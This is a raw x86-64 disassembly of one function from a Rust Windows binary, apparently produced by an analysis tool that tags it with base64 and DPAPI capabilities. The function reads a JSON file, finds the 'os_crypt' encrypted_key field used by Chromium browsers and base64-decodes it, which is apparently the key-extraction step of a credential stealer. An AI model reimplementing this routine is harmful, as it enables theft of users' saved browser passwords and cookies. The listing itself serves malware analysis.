Function at 0x14000cbf0
Capabilities:
Decode data using base64 via dword translation table
Encode data using base64
Encrypt data using dpapi

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x138
mov rax, r8
mov r12, rcx
movabs r13, 0x8000000000000000
mov dword [rsp + 0xa8], 0
pxor xmm0, xmm0
movdqu xmmword [rsp + 0xb0], xmm0
mov dword [rsp + 0xc0], 7
mov qword [rsp + 0xc4], 0
mov word [rsp + 0xcc], 0
mov byte [rsp + 0xc8], 1
lea r8, [rsp + 0xa8]
mov rcx, rdx
mov rdx, rax
call sym.std::sys::pal::windows::fs::File::open::h912324bcdd3d21de
mov rbx, rdx
test rax, rax
je 0x14000cc77
mov rdi, rbx
jmp 0x14000d0ac
lea rcx, [rsp + 0xa8]
mov rdx, rbx
call sym.std::sys::pal::windows::fs::File::file_attr::h8d05e651c8b18ac2
mov rsi, qword [rsp + 0xa8]
cmp rsi, 2
jne 0x14000cd00
mov rax, qword [rsp + 0xb0]
lea rcx, [rsp + 0x90]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x88], 1
call sym.core::ptr::drop_in_place_std::io::error::Error_::hd3404dd2e1da2dda
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 1
mov qword [rsp + 0x70], 0
mov r15d, 0x2000
xor ebp, ebp
lea rdx, [rsp + 0x60]
mov rcx, rbx
call sym.std::io::default_read_to_end::small_probe_read::hb9507c09366d1df3
mov r14, rdx
test rax, rax
je 0x14000cd70
mov esi, 1
jmp 0x14000d038
mov rdi, qword [rsp + 0xe0]
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 1
mov qword [rsp + 0x70], 0
test rdi, rdi
je 0x14000cd9c
mov rdx, rdi
not rdx
shr rdx, 0x3f
mov qword [rsp + 0xb0], 0
lea rcx, [rsp + 0x88]
lea r9, [rsp + 0xa8]
mov r8, rdi
call sym.alloc::raw_vec::finish_grow::h61d1dd38727c2965
cmp qword [rsp + 0x88], 0
je 0x14000cdab
movabs rdi, 0x2600000003
jmp 0x14000d0a4
test r14, r14
je 0x14000d200
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x58], r12
mov rbp, qword [rsp + 0x60]
mov r14, qword [rsp + 0x70]
jmp 0x14000ce1f
xor ebp, ebp
mov rax, rdi
add rax, 0x400
jae 0x14000cdcb
jmp 0x14000cdf3
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x60], rdi
mov rbp, rdi
mov rax, rdi
add rax, 0x400
jb 0x14000cdf3
mov ecx, eax
and ecx, 0x1fff
mov r15d, 0x2000
sub r15, rcx
add r15, rax
setb dl
test rcx, rcx
setne cl
cmove r15, rax
and cl, dl
cmp cl, 1
jne 0x14000cdf9
mov r15d, 0x2000
test rdi, rdi
jne 0x14000ce08
cmp rbp, 0x20
jb 0x14000cce1
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x58], r12
xor r14d, r14d
mov qword [rsp + 0x38], rbp
lea r15, [rsp + 0x88]
lea r12, [rsp + 0xa8]
lea rdi, [0x1402ba1c0]
xor esi, esi
cmp r14, rbp
jne 0x14000ce70
cmp rbp, qword [rsp + 0x38]
jne 0x14000ce70
mov rcx, rbx
lea rdx, [rsp + 0x60]
call sym.std::io::default_read_to_end::small_probe_read::hb9507c09366d1df3
mov r14, rdx
test rax, rax
jne 0x14000d40c
test r14, r14
je 0x14000d3f6
mov rbp, qword [rsp + 0x60]
mov r14, qword [rsp + 0x70]
cmp r14, rbp
jne 0x14000ceb2
mov r13, rbp
add r13, 0x20
jb 0x14000d3e2
lea rax, [rbp*2]
cmp rax, r13
cmova r13, rax
test rbp, rbp
je 0x14000ceb9
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0xb8], rbp
mov eax, 1
jmp 0x14000cebb
mov rax, qword [rsp + 0x68]
jmp 0x14000ceff
xor eax, eax
mov rdx, r13
not rdx
shr rdx, 0x3f
mov qword [rsp + 0xb0], rax
mov rcx, r15
mov r8, r13
mov r9, r12
call sym.alloc::raw_vec::finish_grow::h138570d656cb1639
cmp qword [rsp + 0x88], 0
jne 0x14000d402
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x60], r13
mov rbp, r13
add rax, r14
mov r13, rbp
sub r13, r14
mov rcx, qword [rsp + 0x50]
cmp r13, rcx
cmovae r13, rcx
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0xb0], r13
mov qword [rsp + 0xb8], 0
mov qword [rsp + 0xc0], rsi
mov rcx, rbx
mov rdx, r12
call sym.std::sys::pal::windows::handle::Handle::read_buf::h41506a9e1d4494d5
nop word cs:[rax + rax]
test rax, rax
je case.default.0x14000cf66
mov ecx, eax
and ecx, 3
mov esi, 1
movsxd rcx, dword [rdi + rcx*4]
add rcx, rdi
jmp rcx
cmp byte [rax + 0x10], 0x23
je 0x14000cfa0
jmp case.0x14000cf66.2
cmp byte [rax + 0xf], 0x23
je 0x14000cfa0
jmp case.0x14000cf66.2
mov rcx, rax
shr rcx, 0x20
cmp ecx, 0x23
jne case.0x14000cf66.2
mov qword [rsp + 0x88], rax
mov rcx, r15
call sym.core::ptr::drop_in_place_std::io::error::Error_::hd3404dd2e1da2dda
mov rcx, rbx
mov rdx, r12
call sym.std::sys::pal::windows::handle::Handle::read_buf::h41506a9e1d4494d5
jmp 0x14000cf50
mov rax, qword [rsp + 0xb8]
test rax, rax
je 0x14000d3db
mov rsi, qword [rsp + 0xc0]
add r14, rax
mov qword [rsp + 0x70], r14
cmp dword [rsp + 0x40], 2
jne 0x14000d015
cmp rsi, r13
mov rcx, qword [rsp + 0x50]
mov rdx, 0xffffffffffffffff
cmovne rcx, rdx
cmp rax, r13
jne 0x14000d010
cmp r13, rcx
jb 0x14000d010
test rcx, rcx
lea rcx, [rcx + rcx]
cmovs rcx, rdx
mov qword [rsp + 0x50], rcx
sub rsi, rax
cmp r14, rbp
je 0x14000ce3d
jmp 0x14000ce70
mov r14, rax
mov r12, qword [rsp + 0x58]
movabs r13, 0x8000000000000000
mov rdx, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
lea rcx, [rsp + 0xa8]
mov r8, rdi
call sym.core::str::converts::from_utf8::h66c2f181a607cc90
mov rax, qword [rsp + 0xa8]
xor ecx, ecx
test rax, rax
cmove rcx, rdi
mov qword [rsp + 0x70], rcx
mov rcx, rax
or rcx, rsi
je 0x14000d11a
test rsi, rsi
lea rdi, [0x14030a818]
cmovne rdi, r14
test rax, rax
cmove rdi, r14
cmp qword [rsp + 0x60], 0
je 0x14000d0a4
mov r8, qword [rsp + 0x68]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
mov rcx, rbx
call sub.KERNEL32.dll_CloseHandle
mov eax, edi
and eax, 3
cmp eax, 1
jne 0x14000d102
mov rbx, qword [rdi - 1]
mov rsi, qword [rdi + 7]
mov rax, qword [rsi]
test rax, rax
je 0x14000d0cb
mov rcx, rbx
call rax
dec rdi
cmp qword [rsi + 8], 0
je 0x14000d0f1
cmp qword [rsi + 0x10], 0x11
jb 0x14000d0e0
mov rbx, qword [rbx - 8]
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, rbx
call fcn.14013f0f4
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, rdi
call fcn.14013f0f4
mov qword [r12], r13
add rsp, 0x138
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov r14, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rcx, rbx
call sub.KERNEL32.dll_CloseHandle
cmp r14, r13
je 0x14000d0ac
mov qword [rsp + 0xc0], rdi
mov qword [rsp + 0xc8], rsi
mov qword [rsp + 0xd0], 0
mov qword [rsp + 0xa8], 0
mov qword [rsp + 0xb0], 1
mov qword [rsp + 0xb8], 0
mov byte [rsp + 0xd8], pe_nt_image_headers64
lea rcx, [rsp + 0x88]
lea rdx, [rsp + 0xa8]
call sym._ZN10serde_json5value2de77__LT_impl_u20_serde..de..Deserialize_u20_for_u20_serde_json..value..Value_GT_11deserialize17hf536871
cmp byte [rsp + 0x88], 6
jne 0x14000d20a
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x108], rax
mov byte [rsp + 0x100], 6
cmp qword [rsp + 0xa8], 0
je 0x14000d1da
mov r8, qword [rsp + 0xb0]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
movzx eax, byte [rsp + 0x100]
cmp al, 6
jne 0x14000d2a9
lea rcx, [rsp + 0x108]
call sym.core::ptr::drop_in_place_serde_json::error::Error_::hc78887e3d2bdb0af
mov qword [r12], r13
jmp 0x14000e0fd
xor r14d, r14d
xor esi, esi
jmp 0x14000d038
movdqu xmm0, xmmword [rsp + 0x88]
movups xmm1, xmmword [rsp + 0x98]
movaps xmmword [rsp + 0x70], xmm1
movdqa xmmword [rsp + 0x60], xmm0
mov r9, qword [rsp + 0xc8]
mov rax, qword [rsp + 0xd0]
cmp rax, r9
jae 0x14000d279
mov rcx, qword [rsp + 0xc0]
movabs rdx, 0x100002600
nop dword [rax]
movzx r8d, byte [rcx + rax]
cmp r8, 0x20
ja 0x14000dfd1
bt rdx, r8
jae 0x14000dfd1
inc rax
mov qword [rsp + 0xd0], rax
cmp r9, rax
jne 0x14000d250
movdqa xmm0, xmmword [rsp + 0x60]
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x110], xmm1
movdqa xmmword [rsp + 0x100], xmm0
cmp qword [rsp + 0xa8], 0
jne 0x14000d1c4
jmp 0x14000d1da
movdqu xmm0, xmmword [rsp + 0x101]
movups xmm1, xmmword [rsp + 0x110]
movups xmmword [rsp + 0x98], xmm1
movdqu xmmword [rsp + 0x89], xmm0
mov byte [rsp + 0x88], al
cmp al, 5
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x50], r14
jne 0x14000d42a
mov rcx, qword [rsp + 0x90]
test rcx, rcx
je 0x14000d42a
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x40], rax
mov r13d, 8
lea r14, str.os_cryptencrypted_key
mov ebp, 0xff
lea rax, [rcx + 0x168]
mov qword [rsp + 0x38], rcx
movzx ecx, word [rcx + 0x272]
mov qword [rsp + 0x48], rcx
lea ecx, [rcx*8]
lea r15, [rcx + rcx*2]
mov r12, 0xffffffffffffffff
nop
test r15, r15
je 0x14000d392
lea rsi, [rax + 0x18]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov rbx, r8
sub rbx, 8
cmovae r8, r13
neg rbx
mov rcx, r14
call sub.msvcrt.dll_memcmp
cdqe
test eax, eax
cmovne rbx, rax
xor ecx, ecx
test rbx, rbx
setne cl
cmovs ecx, ebp
add r15, 0xffffffffffffffe8
inc r12
mov rax, rsi
cmp cl, 1
je 0x14000d340
movzx eax, cl
test eax, eax
jne 0x14000d397
jmp 0x14000d3b9
mov r12, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x40]
sub rax, 1
jb 0x14000d416
mov qword [rsp + 0x40], rax
mov rcx, qword [rcx + r12*8 + 0x278]
jmp 0x14000d314
shl r12, 5
mov rcx, qword [rsp + 0x38]
add rcx, r12
mov r12, qword [rsp + 0x58]
movabs r13, 0x8000000000000000
mov r14, qword [rsp + 0x50]
jmp 0x14000d42c
xor esi, esi
jmp 0x14000d029
mov esi, 1
movabs r14, 0x2600000003
jmp 0x14000d029
mov r14, qword [rsp + 0x70]
xor esi, esi
jmp 0x14000d029
movabs r14, 0x2600000003
mov esi, 1
jmp 0x14000d029
mov r12, qword [rsp + 0x58]
movabs r13, 0x8000000000000000
mov r14, qword [rsp + 0x50]
xor ecx, ecx
test rcx, rcx
lea rax, [0x140309b00]
cmove rcx, rax
cmp byte [rcx], 5
jne 0x14000d571
mov rdx, qword [rcx + 8]
test rdx, rdx
je 0x14000d571
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0x40], rax
mov ebp, 0xd
lea r14, [0x1402c0d60]
mov r12d, 0xff
lea rax, [rdx + 0x168]
mov qword [rsp + 0x38], rdx
movzx ecx, word [rdx + 0x272]
mov qword [rsp + 0x48], rcx
lea ecx, [rcx*8]
lea r13, [rcx + rcx*2]
mov rbx, 0xffffffffffffffff
nop word cs:[rax + rax]
test r13, r13
je 0x14000d4f3
lea rsi, [rax + 0x18]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov r15, r8
sub r15, 0xd
cmovae r8, rbp
neg r15
mov rcx, r14
call sub.msvcrt.dll_memcmp
cdqe
test eax, eax
cmovne r15, rax
xor ecx, ecx
test r15, r15
setne cl
cmovs ecx, r12d
add r13, 0xffffffffffffffe8
inc rbx
mov rax, rsi
cmp cl, 1
je 0x14000d4a0
movzx eax, cl
test eax, eax
jne 0x14000d4f8
jmp 0x14000d51a
mov rbx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x40]
sub rax, 1
jb 0x14000d556
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x38]
mov rdx, qword [rdx + rbx*8 + 0x278]
jmp 0x14000d46b
shl rbx, 5
mov rcx, qword [rsp + 0x38]
add rcx, rbx
mov r12, qword [rsp + 0x58]
movabs r13, 0x8000000000000000
mov r14, qword [rsp + 0x50]
lea rax, [0x140309b00]
test rcx, rcx
cmovne rax, rcx
cmp byte [rax], 3
je 0x14000d57f
mov qword [r12], r13
jmp 0x14000e0bb
mov r12, qword [rsp + 0x58]
movabs r13, 0x8000000000000000
mov r14, qword [rsp + 0x50]
lea rax, [0x140309b00]
xor ecx, ecx
test rcx, rcx
cmovne rax, rcx
cmp byte [rax], 3
jne 0x14000d54d
mov r13, qword [rax + 0x18]
mov rdx, r13
add rdx, 3
jb 0x14000e552
mov r14, qword [rax + 0x10]
mov rcx, rdx
shr rcx, 2
lea r15, [rcx + rcx*2]
mov eax, 1
cmp rdx, 4
jb 0x14000d5cd
test r15, r15
js 0x14000e645
movzx eax, byte [0x140346130]
xor ecx, ecx
mov rdx, r15
call sym.std::sys::pal::windows::alloc::process_heap_alloc::hcc99af14aa596ba0
test rax, rax
je 0x14000e64a
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 0
mov rcx, r13
add rcx, 7
jb 0x14000e56a
mov rbx, rcx
shr rbx, 3
cmp rcx, 8
mov qword [rsp + 0x40], r13
jae 0x14000d609
mov qword [rsp + 0x38], rax
xor r15d, r15d
jmp 0x14000d642
lea rcx, [rbx + rbx]
lea r13, [rcx + rcx*2]
cmp r15, r13
jb 0x14000dfb3
xor r15d, r15d
mov qword [rsp + 0x38], rax
lea rbp, [rax + r15]
lea r8, [r13 - 1]
mov rcx, rbp
xor edx, edx
call sub.msvcrt.dll_memset
mov byte [r13 + rbp - 1], 0
add r15, r13
mov r13, qword [rsp + 0x40]
mov qword [rsp + 0x70], r15
mov ecx, r13d
and ecx, 7
cmp rcx, 5
mov qword [rsp + 0x48], r15
ja case.default.0x14000d666
lea rax, [0x1402ba1d0]
movsxd rcx, dword [rax + rcx*4]
add rcx, rax
jmp rcx
mov ecx, 8
jmp 0x14000d682
mov ecx, 0xa
jmp 0x14000d682
mov ecx, 0xc
jmp 0x14000d682
mov ecx, 0xb
mov r15, qword [rsp + 0x48]
mov r13, qword [rsp + 0x40]
xor eax, eax
mov r8, r13
sub r8, rcx
cmovb r8, rax
cmp r8, 0x20
jae 0x14000d83c
xor ecx, ecx
cmp r8, 8
jb 0x14000dcb3
add r8, 0xfffffffffffffff8
cmp rax, r8
jae 0x14000dcb3
lea rdx, [rax + 8]
cmp rdx, r13
ja 0x14000e6d2
lea r9, [rcx + 8]
cmp rcx, 0xfffffffffffffff7
ja 0x14000e6c3
cmp r9, r15
ja 0x14000e6af
mov r10, r8
movzx r8d, byte [r14 + rax]
lea r9, [0x1402c07a8]
movzx r9d, byte [r8 + r9]
cmp r9, 0xff
je case.0x14000d666.1
movzx r8d, byte [r14 + rax + 1]
lea r11, [0x1402c07a8]
movzx r11d, byte [r8 + r11]
cmp r11, 0xff
je case.0x14000d666.1
movzx r8d, byte [r14 + rax + 2]
lea rsi, [0x1402c07a8]
movzx r12d, byte [r8 + rsi]
cmp r12, 0xff
je case.0x14000d666.1
movzx r8d, byte [r14 + rax + 3]
lea rsi, [0x1402c07a8]
movzx esi, byte [r8 + rsi]
cmp rsi, 0xff
je case.0x14000d666.1
movzx r8d, byte [r14 + rax + 4]
lea r15, [0x1402c07a8]
movzx r15d, byte [r8 + r15]
cmp r15, 0xff
je case.0x14000d666.1
movzx r8d, byte [r14 + rax + 5]
lea r13, [0x1402c07a8]
movzx r13d, byte [r8 + r13]
cmp r13, 0xff
je case.0x14000d666.1
movzx r8d, byte [r14 + rax + 6]
lea rbp, [0x1402c07a8]
movzx ebp, byte [r8 + rbp]
lea r8, [0x1402c07a8]
cmp rbp, 0xff
je case.0x14000d666.1
movzx eax, byte [r14 + rax + 7]
movzx eax, byte [rax + r8]
cmp rax, 0xff
je case.0x14000d666.1
shl r9, 0x3a
shl r11, 0x34
or r11, r9
shl r12, 0x2e
shl rsi, 0x28
or rsi, r12
or rsi, r11
shl r15, 0x22
shl r13, 0x1c
or r13, r15
shl ebp, 0x16
or rbp, r13
or rbp, rsi
shl eax, 0x10
or rax, rbp
bswap rax
mov r8, qword [rsp + 0x38]
mov qword [r8 + rcx], rax
add rcx, 6
dec rbx
mov rax, rdx
mov r8, r10
cmp rdx, r10
mov r15, qword [rsp + 0x48]
mov r13, qword [rsp + 0x40]
jb 0x14000d6bb
jmp 0x14000dcb6
lea rax, [r8 - 0x20]
mov qword [rsp + 0xf0], rax
xor ecx, ecx
lea r10, [0x1402c07a8]
xor r11d, r11d
mov qword [rsp + 0xf8], r8
lea rax, [r11 + 0x20]
cmp rax, r13
ja 0x14000e5f1
cmp rcx, 0xffffffffffffffe5
ja 0x14000e5d9
lea rdx, [rcx + 0x1a]
cmp rdx, r15
ja 0x14000e5c5
movzx edx, byte [r14 + r11]
movzx edx, byte [rdx + r10]
cmp rdx, 0xff
je case.0x14000d666.1
movzx r8d, byte [r14 + r11 + 1]
movzx esi, byte [r8 + r10]
cmp rsi, 0xff
je case.0x14000d666.1
movzx r8d, byte [r14 + r11 + 2]
movzx r13d, byte [r8 + r10]
cmp r13, 0xff
je case.0x14000d666.1
movzx r8d, byte [r14 + r11 + 3]
movzx r12d, byte [r8 + r10]
cmp r12, 0xff
je case.0x14000d666.1
movzx r8d, byte [r14 + r11 + 4]
movzx r15d, byte [r8 + r10]
cmp r15, 0xff
je case.0x14000d666.1
movzx r8d, byte [r14 + r11 + 5]
movzx r9d, byte [r8 + r10]
cmp r9, 0xff
je case.0x14000d666.1
movzx r8d, byte [r14 + r11 + 6]
movzx ebp, byte [r8 + r10]
cmp rbp, 0xff
je case.0x14000d666.1
movzx r8d, byte [r14 + r11 + 7]
movzx r8d, byte [r8 + r10]
cmp r8, 0xff
je case.0x14000d666.1
shl rdx, 0x3a
shl rsi, 0x34
or rsi, rdx
shl r13, 0x2e
shl r12, 0x28
or r12, r13
or r12, rsi
shl r15, 0x22
shl r9, 0x1c
or r9, r15
shl ebp, 0x16
or rbp, r9
or rbp, r12
shl r8d, 0x10
or r8, rbp
bswap r8
mov rdx, qword [rsp + 0x38]
mov qword [rdx + rcx], r8
movzx edx, byte [r14 + r11 + 8]
movzx edx, byte [rdx + r10]
cmp rdx, 0xff
je case.0x14000d666.1
movzx r8d, byte [r14 + r11 + 9]
movzx esi, byte [r8 + r10]
cmp rsi, 0xff
je case.0x14000d666.1
movzx r8d, byte [r14 + r11 + 0xa]
movzx r13d, byte [r8 + r10]
cmp r13, 0xff
je case.0x14000d666.1
movzx r8d, byte [r14 + r11 + 0xb]
movzx r12d, byte [r8 + r10]
cmp r12, 0xff
je case.0x14000d666.1
movzx r8d, byte [r14 + r11 + 0xc]
movzx r15d, byte [r8 + r10]
cmp r15, 0xff
je case.0x14000d666.1
movzx r8d, byte [r14 + r11 + 0xd]
movzx r9d, byte [r8 + r10]
cmp r9, 0xff
je case.0x14000d666.1
movzx r8d, byte [r14 + r11 + 0xe]
movzx ebp, byte [r8 + r10]
cmp rbp, 0xff
je case.0x14000d666.1
movzx r8d, byte [r14 + r11 + 0xf]
movzx r8d, byte [r8 + r10]
cmp r8, 0xff
je case.0x14000d666.1
shl rdx, 0x3a
shl rsi, 0x34
or rsi, rdx
shl r13, 0x2e
shl r12, 0x28
or r12, r13
or r12, rsi
shl r15, 0x22
shl r9, 0x1c
or r9, r15
shl ebp, 0x16
or rbp, r9
or rbp, r12
shl r8d, 0x10
or r8, rbp
bswap r8
mov rdx, qword [rsp + 0x38]
mov qword [rdx + rcx + 6], r8
movzx edx, byte [r14 + r11 + 0x10]
movzx edx, byte [rdx + r10]
cmp rdx, 0xff
je case.0x14000d666.1
movzx r8d, byte [r14 + r11 + 0x11]
movzx esi, byte [r8 + r10]
cmp rsi, 0xff
je case.0x14000d666.1
movzx r8d, byte [r14 + r11 + 0x12]
movzx r13d, byte [r8 + r10]
cmp r13, 0xff
je case.0x14000d666.1
movzx r8d, byte [r14 + r11 + 0x13]
movzx r12d, byte [r8 + r10]
cmp r12, 0xff
je case.0x14000d666.1
movzx r8d, byte [r14 + r11 + 0x14]
movzx r15d, byte [r8 + r10]
cmp r15, 0xff
je case.0x14000d666.1
movzx r8d, byte [r14 + r11 + 0x15]
movzx r9d, byte [r8 + r10]
cmp r9, 0xff
je case.0x14000d666.1
movzx r8d, byte [r14 + r11 + 0x16]
movzx ebp, byte [r8 + r10]
cmp rbp, 0xff
je case.0x14000d666.1
movzx r8d, byte [r14 + r11 + 0x17]
movzx r8d, byte [r8 + r10]
cmp r8, 0xff
je case.0x14000d666.1
shl rdx, 0x3a
shl rsi, 0x34
or rsi, rdx
shl r13, 0x2e
shl r12, 0x28
or r12, r13
or r12, rsi
shl r15, 0x22
shl r9, 0x1c
or r9, r15
shl ebp, 0x16
or rbp, r9
or rbp, r12
shl r8d, 0x10
or r8, rbp
bswap r8
mov rdx, qword [rsp + 0x38]
mov qword [rdx + rcx + 0xc], r8
movzx edx, byte [r14 + r11 + 0x18]
movzx edx, byte [rdx + r10]
cmp rdx, 0xff
je case.0x14000d666.1
movzx r8d, byte [r14 + r11 + 0x19]
movzx esi, byte [r8 + r10]
cmp rsi, 0xff
je case.0x14000d666.1
movzx r8d, byte [r14 + r11 + 0x1a]
movzx r13d, byte [r8 + r10]
cmp r13, 0xff
je case.0x14000d666.1
movzx r8d, byte [r14 + r11 + 0x1b]
movzx r12d, byte [r8 + r10]
cmp r12, 0xff
je case.0x14000d666.1
movzx r8d, byte [r14 + r11 + 0x1c]
movzx r15d, byte [r8 + r10]
cmp r15, 0xff
je case.0x14000d666.1
movzx r8d, byte [r14 + r11 + 0x1d]
movzx ebp, byte [r8 + r10]
cmp rbp, 0xff
je case.0x14000d666.1
movzx r8d, byte [r14 + r11 + 0x1e]
movzx r9d, byte [r8 + r10]
cmp r9, 0xff
je case.0x14000d666.1
movzx r8d, byte [r14 + r11 + 0x1f]
movzx r11d, byte [r8 + r10]
cmp r11, 0xff
je case.0x14000d666.1
shl rdx, 0x3a
shl rsi, 0x34
or rsi, rdx
shl r13, 0x2e
shl r12, 0x28
or r12, r13
or r12, rsi
shl r15, 0x22
shl rbp, 0x1c
or rbp, r15
shl r9d, 0x16
or r9, rbp
or r9, r12
shl r11d, 0x10
or r11, r9
bswap r11
mov rdx, qword [rsp + 0x38]
mov qword [rdx + rcx + 0x12], r11
add rcx, 0x18
add rbx, 0xfffffffffffffffc
mov r11, rax
cmp rax, qword [rsp + 0xf0]
mov r15, qword [rsp + 0x48]
mov r13, qword [rsp + 0x40]
mov r8, qword [rsp + 0xf8]
jbe 0x14000d85c
jmp 0x14000d6a4
mov rdx, rax
cmp rbx, 2
jb 0x14000def9
dec rbx
lea rax, [r13 - 7]
mov qword [rsp + 0x120], rax
mov r8, rdx
neg r8
lea rax, [r13 - 5]
mov qword [rsp + 0x128], rax
lea rax, [r13 - 3]
mov qword [rsp + 0x130], rax
lea rax, [r13 - 1]
mov qword [rsp + 0xf0], rax
cmp rdx, r13
ja 0x14000e582
lea rax, [rcx + 6]
cmp rcx, 0xfffffffffffffff9
ja 0x14000e594
cmp rax, r15
ja 0x14000e5a3
mov qword [rsp + 0xf8], rax
cmp r13, rdx
je 0x14000e5b5
movzx eax, byte [r14 + rdx]
lea r9, [0x1402c07a8]
movzx ebp, byte [rax + r9]
cmp rbp, 0xff
je case.0x14000d666.1
cmp qword [rsp + 0xf0], rdx
je 0x14000e603
movzx eax, byte [r14 + rdx + 1]
lea r9, [0x1402c07a8]
movzx eax, byte [rax + r9]
cmp rax, 0xff
je case.0x14000d666.1
mov r9, qword [rsp + 0x40]
lea r15, [r9 + r8]
cmp r15, 3
jb 0x14000e619
movzx r9d, byte [r14 + rdx + 2]
lea r10, [0x1402c07a8]
movzx r12d, byte [r9 + r10]
cmp r12, 0xff
je case.0x14000d666.1
cmp qword [rsp + 0x130], rdx
je 0x14000e62f
movzx r9d, byte [r14 + rdx + 3]
lea r10, [0x1402c07a8]
movzx r9d, byte [r9 + r10]
cmp r9, 0xff
je case.0x14000d666.1
cmp r15, 5
jb 0x14000e657
movzx r10d, byte [r14 + rdx + 4]
lea r11, [0x1402c07a8]
movzx r10d, byte [r10 + r11]
cmp r10, 0xff
je case.0x14000d666.1
cmp qword [rsp + 0x128], rdx
je 0x14000e66d
movzx r11d, byte [r14 + rdx + 5]
lea r13, [0x1402c07a8]
movzx r11d, byte [r11 + r13]
cmp r11, 0xff
je case.0x14000d666.1
cmp r15, 7
jb 0x14000e683
movzx r15d, byte [r14 + rdx + 6]
lea r13, [0x1402c07a8]
movzx r15d, byte [r15 + r13]
cmp r15, 0xff
je case.0x14000d666.1
cmp qword [rsp + 0x120], rdx
je 0x14000e699
mov rsi, rbx
movzx r13d, byte [r14 + rdx + 7]
lea rbx, [0x1402c07a8]
movzx r13d, byte [r13 + rbx]
cmp r13, 0xff
je case.0x14000d666.1
mov rbx, rsi
shl rbp, 0x3a
shl rax, 0x34
or rax, rbp
shl r12, 0x2e
or r12, rax
shl r9, 0x28
or r9, r12
shl r10, 0x22
or r10, r9
shl r11, 0x1c
or r11, r10
shl r15d, 0x16
or r15, r11
shl r13d, 0x10
or r13, r15
bswap r13
mov rax, qword [rsp + 0x38]
mov dword [rax + rcx], r13d
shr r13, 0x20
mov word [rax + rcx + 4], r13w
add rdx, 8
add r8, 0xfffffffffffffff8
mov rsi, qword [rsp + 0xf8]
mov rcx, rsi
dec rbx
mov r15, qword [rsp + 0x48]
mov r13, qword [rsp + 0x40]
jne 0x14000dcf9
jmp 0x14000defc
mov rsi, rcx
cmp rdx, r13
ja 0x14000e6e4
mov rbp, rsi
xor r9d, r9d
cmp rdx, r13
jne 0x14000df27
xor r8d, r8d
xor ebx, ebx
xor esi, esi
xor r11d, r11d
xor r10d, r10d
xor r15d, r15d
xor eax, eax
jmp 0x14000e078
add r13, r14
add rdx, r14
lea r10, [0x1402c07a8]
xor eax, eax
xor r8d, r8d
xor r11d, r11d
mov rcx, r11
lea r11, [rcx + 1]
movzx esi, byte [rdx]
inc rdx
cmp rsi, 0x3d
jne 0x14000df65
test cl, 2
je case.0x14000d666.1
inc r9d
mov rcx, r11
cmp rdx, r13
jne 0x14000df3f
jmp 0x14000df91
test r9d, r9d
jg case.0x14000d666.1
movzx esi, byte [rsi + r10]
cmp rsi, 0xff
je case.0x14000d666.1
inc rax
imul ecx, eax, 0x3a
shl rsi, cl
or r8, rsi
cmp rdx, r13
jne 0x14000df3c
cmp rax, 8
ja case.0x14000dfa9.1
lea rcx, [0x1402ba1e8]
movsxd rdx, dword [rcx + rax*4]
add rdx, rcx
jmp rdx
xor r9d, r9d
jmp 0x14000e033
lea rcx, [rsp + 0x60]
xor edx, edx
mov r8, r13
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h010c4e3c86a70d79
mov rax, qword [rsp + 0x68]
mov r15, qword [rsp + 0x70]
jmp 0x14000d61d
lea r10, [rax + 1]
cmp r9, r10
cmovb r10, r9
mov qword [rsp + 0x88], 0x16
inc rax
jne 0x14000dffa
xor r8d, r8d
xor eax, eax
mov edx, 1
jmp 0x14000e501
mov qword [rsp + 0x50], r14
cmp r10, 4
jae 0x14000e41c
mov edx, 1
xor r8d, r8d
jmp 0x14000e4c5
mov eax, 0x20
mov r9b, 1
xor r10d, r10d
mov bl, 1
mov sil, 1
mov r11b, 1
jmp 0x14000e075
mov eax, 8
mov r9b, 1
xor ebx, ebx
xor esi, esi
jmp 0x14000e05d
mov eax, 0x28
sub byte [rax], al
add byte [rax], al
mov r9b, 1
xor r15d, r15d
mov bl, 1
mov sil, 1
mov r11b, 1
mov r10b, 1
jmp 0x14000e078
mov eax, 0x10
mov r9b, 1
xor esi, esi
mov bl, 1
xor r11d, r11d
jmp 0x14000e072
mov eax, 0x18
mov r9b, 1
xor r11d, r11d
mov bl, 1
mov sil, 1
xor r10d, r10d
xor r15d, r15d
mov r14, r8
mov esi, eax
mov ecx, eax
shl r14, cl
test r14, r14
je 0x14000e1c2
cmp qword [rsp + 0x60], 0
je 0x14000e0a4
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, qword [rsp + 0x38]
call fcn.14013f0f4
mov r14, qword [rsp + 0x58]
movabs r9, 0x8000000000000000
mov qword [r14], r9
